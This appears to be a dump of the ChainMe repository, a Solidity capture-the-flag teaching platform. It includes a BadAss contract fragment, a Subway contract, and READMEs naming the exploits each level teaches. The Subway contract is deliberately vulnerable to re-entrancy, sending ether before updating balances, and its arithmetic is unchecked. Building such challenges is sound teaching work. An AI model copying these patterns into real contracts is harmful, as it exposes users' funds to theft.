sender.transfer(msg.value); 42 | revert("Bad password"); 43 | } 44 | _; 45 | } 46 | 47 | function takeOwnerShip(string memory _password) public payable isContract goodEtherAmount goodPassword(_password) { 48 | badass.transfer(prize); 49 | badass = msg.sender; 50 | } 51 | 52 | function whoIsTheBadass() public view returns (address payable) { 53 | return badass; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /contracts/levels/ultimate/Subway.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.6.0; 2 | 3 | //import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/math/SafeMath.sol"; 4 | //import '@openzeppelin/contracts/math/SafeMath.sol'; 5 | 6 | contract Subway { 7 | 8 | //using SafeMath for uint256; 9 | address private owner; 10 | address private mainContract; 11 | uint256 public ticketPrice; 12 | mapping(address => uint) private balances; 13 | mapping(address => uint) private ticketsBalances; 14 | 15 | constructor(address _mainContract) public payable { 16 | ticketPrice = msg.value; 17 | owner = msg.sender; 18 | mainContract = _mainContract; 19 | } 20 | 21 | modifier onlyOwner() { 22 | require(msg.sender == owner); 23 | _; 24 | } 25 | 26 | function credit() public payable { 27 | balances[msg.sender] = balances[msg.sender] + msg.value; 28 | } 29 | 30 | function buyTickets(uint256 number) public { 31 | require(balances[msg.sender] >= (number * ticketPrice), "Not enough money"); 32 | balances[msg.sender] = balances[msg.sender] - (number * ticketPrice); 33 | ticketsBalances[msg.sender] = ticketsBalances[msg.sender] + number; 34 | } 35 | 36 | function balanceOf() public view returns (uint balance) { 37 | return (balances[msg.sender]); 38 | } 39 | 40 | function ticketsBalanceOf() public view returns (uint ticketsBalance) { 41 | return (ticketsBalances[msg.sender]); 42 | } 43 | 44 | function checkSecurity() public { 45 | require (ticketsBalances[msg.sender] >= 1, "Not enough tickets"); 46 | (bool result, bytes memory data) = msg.sender.call.value(ticketPrice / 5)(""); 47 | ticketsBalances[msg.sender] -= 1; 48 | } 49 | 50 | function claim() public { 51 | require (address(this).balance <= 0); 52 | address(mainContract).call(abi.encodeWithSignature("setOrder(uint8)", 0)); 53 | } 54 | 55 | fallback() external payable {} 56 | 57 | } 58 | -------------------------------------------------------------------------------- /contracts/levels/ultimate/README.md: -------------------------------------------------------------------------------- 1 | # Ultimate 2 | 3 | ## Preamble : 4 | 5 | The last challenge called "Ultimate" is a challenge composed by several sub-challenge. To validate this challenge, it's necessary to validate the sub-challenge in a specific way. 6 | 7 | The goal of this challenge is to summarize all the different exploit approached during this project and using scenariow featuring these exploits. 8 | 9 | ## Gumpy 10 | 11 | ### Exploit approached : 12 | 13 | The first sub challenge named "Gumpy" is a challenge using the underflow exploit. 14 | 15 | ### Goal : 16 | 17 | A character named "Gumpy" want some water for that the user will have to provide him water. 18 | However he can't give him only 20 unit of water at the same time and he is limited to a certain amount of water in total. 19 | 20 | ## ItSDoneIn2Sec 21 | 22 | ### Exploit approached : 23 | 24 | The second sub challenge called "ItSDoneIn2Sec" is a challenge using a principle of this language, the gas. 25 | 26 | ### Goal : 27 | 28 | The goal of this challenge is to find the good amount of gas to send during the transaction so that the remaining gas modulo 984 be equal to 0. If it's the case, so the challenge is validated, in the other case it's not. 29 | 30 | ## House 31 | 32 | ### Exploit approached : 33 | 34 | The third challenge called "House" is a challenge using the exploit of reading the storages variables. 35 | 36 | ### Goal : 37 | 38 | The goal of this challenge is to unlock the front door of the house, to do that we need to find the good amount of ethers to send et the password. 39 | 40 | ## Subway 41 | 42 | ### Exploit approached : 43 | 44 | Le fourth challenge called "Subway" is a challenge using the re-entrancy exploit. 45 | To pass the security of the subway, a subway ticket is mandatory, to buy one you need to credit your client account. 46 | For each security passgae some of the price of the ticket is refund directly to the customer. 47 | 48 | ### Goal : 49 | 50 | The goal of this challenge is to empty all of the ethers of the contract. 51 | 52 | ## [Solution](./Solution.md) 53 | 54 | ## Final 55 | 56 | Once the four challenge are validated in a specific order that we can'n know, the main challenge is validated too. 57 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ChainMe 2 | 3 | ## Description 4 | 5 | ChaineMe is a project aiming to create a cybersecurity platform with blockchain challenges. 6 | 7 | It's going to be only not only for Solidity (Etherum's smart contract language) like most of the others platforms but there is going to be challenges in a wide range of blockchain languages. 8 | 9 | Through the challenges, you're going to learn the basics of blockchain's cybersecurity to secure the smart contracts you may have to create. 10 | 11 | With this project, we started by learning a lot of general knowledge about P2P / blockchain. Then we learnt how to use IPFS (a distributed system for storing and accessing files, websites, applications, and data), Solidity and the main thing was to solve challenges on platforms like Ethernaut and Damn Vulnerable DEFI. Once this was done, we started by creating the challenges. 12 | 13 | ## Installation 14 | 15 | To install this project, you're going to need [NodeJS](https://nodejs.org/en/) and [NPM](https://www.npmjs.com/get-npm) 16 | 17 | You just need to execute the command bellow at the root of the repository: 18 | 19 | npm install 20 | 21 | Or you can simply build the docker image with: 22 | 23 | docker image build -t IMAGE_NAME 24 | 25 | ## Quick Start 26 | To start using the challenges, you need two etherum wallet like metamask (one to host the challenges and one to attack the challenges), then set the environment variables listed bellow in the .env file and you can just launch the project in a docker container with `docker run -it IMAGE_NAME COMMAND` with as usage of the COMMAND: 27 | 28 | npm run [init CHALLENGE] [test CHALLENGE ADDRESS] 29 | 30 | Options: 31 | init CHALLENGE: init a challenge by its name stored in CHALLENGE variable\n 32 | test CHALLENGE ADDRESS: test a challenge by its name stored in CHALLENGE variable and from the instance address withen by ADDRESS argument\n 33 | 34 | ## Features 35 | 36 | It has so far four solidity's challenges: 37 | - __[BadAss](contracts/levels/badAss/README.md)__ 38 | - __[Op-codes](contracts/levels/op-codes/README.md)__ 39 | - __[Op-codes v2](contracts/levels/op-codes_v2/README.md)__ 40 | - __[Ultimate](contracts/levels/ultimate/README.md)__ 41 | 42 | ## Environnement 43 | 44 | - __`NODE_KEY`__ Define the __Key__ of the Etherum __Node__ used 45 | - __`ETHERSCAN_API_KEY`__ Define the __Api Key__ of __Etherscan__ 46 | - __`PRIVATE_KEY`__ Define the __Private key__ of the __Wallet__ 47 | - __`PUBLIC_KEY`__ Define the __Public key__ of the __Wallet__ 48 | 49 | ## Dependencies 50 | - __[axios](https://www.npmjs.com/package/axios)__ 51 | - __[dotenv](https://www.npmjs.com/package/dotenv)__ 52 | - __[solc](https://www.npmjs.com/package/dotenv)__ 53 | - __[web3](https://www.npmjs.com/package/web3)__ 54 | - __[etherscan](https://etherscan.io/apidocs)__ 55 | - __[infuria](https://infura.io/)__ 56 | 57 | ## Authors 58 | - __[Matéo Viel](https://github.com/mateoviel)__ 59 | - __[Lucas Louis](https://github.com/etarc0s)__ --------------------------------------------------------------------------------